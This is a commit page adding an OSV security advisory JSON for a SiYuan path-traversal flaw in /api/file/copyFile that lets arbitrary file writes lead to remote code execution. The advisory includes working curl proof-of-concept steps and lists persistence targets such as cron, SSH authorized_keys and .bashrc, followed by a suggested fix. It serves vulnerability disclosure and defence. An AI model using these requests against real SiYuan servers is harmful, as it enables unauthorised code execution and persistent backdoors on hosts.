Skip to content

Commit c08e5df

Browse files
1 parent f9521ce commit c08e5df

1 file changed

Lines changed: 59 additions & 0 deletions

File tree

Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-c4jr-5q7w-f6r9",
4+
"modified": "2026-01-29T15:15:54Z",
5+
"published": "2026-01-29T15:15:54Z",
6+
"aliases": [],
7+
"summary": "SiYuan has Arbitrary File Write via /api/file/copyFile leading to RCE",
8+
"details": "## Summary\n\nThe `/api/file/copyFile` endpoint does not validate the `dest` parameter, allowing authenticated users to write files to arbitrary locations on the filesystem. This can lead to Remote Code Execution (RCE) by writing to sensitive locations such as cron jobs, SSH authorized_keys, or shell configuration files.\n\n- Affected Version: 3.5.3 (and likely all prior versions)\n\n## Details\n\n- Type: Improper Limitation of a Pathname to a Restricted Directory (CWE-22)\n- Location: `kernel/api/file.go` - copyFile function\n\n```go\n// kernel/api/file.go lines 94-139\nfunc copyFile(c *gin.Context) {\n // ...\n src := arg[\"src\"].(string)\n src, err := model.GetAssetAbsPath(src) // src is validated\n // ...\n\n dest := arg[\"dest\"].(string) // dest is NOT validated!\n if err = filelock.Copy(src, dest); err != nil {\n // ...\n }\n}\n```\n\nThe `src` parameter is properly validated via `model.GetAssetAbsPath()`, but the `dest` parameter accepts any absolute path without validation, allowing files to be written outside the workspace directory.\n\n## PoC\n\n### Step 1: Upload malicious content to workspace\n\n```bash\ncurl -X POST \"http://target:6806/api/file/putFile\" \\\n -H \"Authorization: Token <API_TOKEN>\" \\\n -F \"path=/data/assets/malicious.sh\" \\\n -F \"file=@-;filename=malicious.sh\" <<< '#!/bin/sh\nid > /tmp/pwned.txt\nhostname >> /tmp/pwned.txt'\n```\n\n### Step 2: Copy to arbitrary location (e.g., /tmp)\n\n```bash\ncurl -X POST \"http://target:6806/api/file/copyFile\" \\\n -H \"Authorization: Token <API_TOKEN>\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"src\": \"assets/malicious.sh\", \"dest\": \"/tmp/malicious.sh\"}'\n```\n\nResponse: `{\"code\":0,\"msg\":\"\",\"data\":null}`\n\n### Step 3: Verify file was written outside workspace\n\n```bash\ncat /tmp/malicious.sh\n# Output: #!/bin/sh\n# id > /tmp/pwned.txt\n# hostname >> /tmp/pwned.txt\n```\n\n## Attack Scenarios\n\n| Target Path | Impact |\n|-------------|--------|\n| `/etc/cron.d/backdoor` | Scheduled command execution (RCE) |\n| `~/.ssh/authorized_keys` | Persistent SSH access |\n| `~/.bashrc` | Command execution on user login |\n| `/etc/ld.so.preload` | Shared library injection |\n\n### RCE Demonstration\n\n RCE was successfully demonstrated by writing a script and executing it:\n\n```bash\n# Write script to /tmp\ncurl -X POST \"http://target:6806/api/file/copyFile\" \\\n -H \"Authorization: Token <API_TOKEN>\" \\\n -d '{\"src\": \"assets/malicious.sh\", \"dest\": \"/tmp/malicious.sh\"}'\n\n# Execute (simulating cron or login trigger)\nsh /tmp/malicious.sh\n\n# Result\ncat /tmp/pwned.txt\n# uid=0(root) gid=0(root) groups=0(root)...\n```\n\n## Impact\n\nAn authenticated attacker (with API Token) can:\n1. Achieve Remote Code Execution with the privileges of the SiYuan process\n2. Establish persistent backdoor access via SSH keys\n3. Compromise the entire host system\n4. Access sensitive data on the same network (lateral movement)\n\n## Suggested Fix\n\nAdd path validation to ensure `dest` is within the workspace directory:\n\n```go\nfunc copyFile(c *gin.Context) {\n // ...\n dest := arg[\"dest\"].(string)\n\n // Add validation\n if !util.IsSubPath(util.WorkspaceDir, dest) {\n ret.Code = -1\n ret.Msg = \"dest path must be within workspace\"\n return\n }\n\n if err = filelock.Copy(src, dest); err != nil {\n // ...\n }\n}\n```\n\n## Solution\n\nd7f790755edf8c78d2b4176171e5a0cdcd720feb",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "Go",
19+
"name": "github.com/siyuan-note/siyuan/kernel"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"last_affected": "0.0.0-20260126094835-d5d10dd41b0c"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-c4jr-5q7w-f6r9"
40+
},
41+
{
42+
"type": "WEB",
43+
"url": "https://github.com/siyuan-note/siyuan/commit/d7f790755edf8c78d2b4176171e5a0cdcd720feb"
44+
},
45+
{
46+
"type": "PACKAGE",
47+
"url": "https://github.com/siyuan-note/siyuan"
48+
}
49+
],
50+
"database_specific": {
51+
"cwe_ids": [
52+
"CWE-22"
53+
],
54+
"severity": "CRITICAL",
55+
"github_reviewed": true,
56+
"github_reviewed_at": "2026-01-29T15:15:54Z",
57+
"nvd_published_at": null
58+
}
59+
}

0 commit comments

Comments
 (0)